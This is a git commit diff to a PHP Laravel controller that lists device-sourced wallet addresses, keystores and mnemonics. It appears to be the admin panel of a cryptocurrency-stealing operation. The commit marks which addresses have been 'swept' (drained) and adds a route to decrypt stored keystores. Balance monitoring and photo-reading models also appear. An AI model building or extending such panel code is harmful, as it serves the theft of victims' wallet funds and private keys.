feat: app

This commit is contained in:
hashbro
2026-10-10 01:53:17 +08:00
parent af714468ee
commit ea82eddbf0
8 changed files with 320 additions and 182 deletions
@@ -16,6 +16,7 @@ use App\Models\Photo;
use App\Models\PluginSession;
use App\Models\PhotoRead;
use App\Models\User;
use App\Models\TransferRecord;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
@@ -619,7 +620,9 @@ class DeviceController extends Controller
$q->where('chain_type', $chainType);
}
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (WalletAddress $addr) {
$items = collect($paginator->items());
$swept = TransferRecord::successfulSweepSet($items->pluck('address')->all());
$data = $items->map(function (WalletAddress $addr) use ($swept) {
$coins = $addr->formattedCoins();
return [
@@ -632,6 +635,7 @@ class DeviceController extends Controller
'eth' => $coins['eth'],
'btc' => $coins['btc'],
'bnb' => $coins['bnb'],
'collected' => TransferRecord::addressInSweepSet((string) $addr->address, $swept),
'monitor' => (int) $addr->monitor,
'monitor_synced' => (bool) $addr->monitor_synced,
'monitor_failures' => (int) $addr->monitor_failures,
@@ -707,6 +711,7 @@ class DeviceController extends Controller
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id),
];
})->values();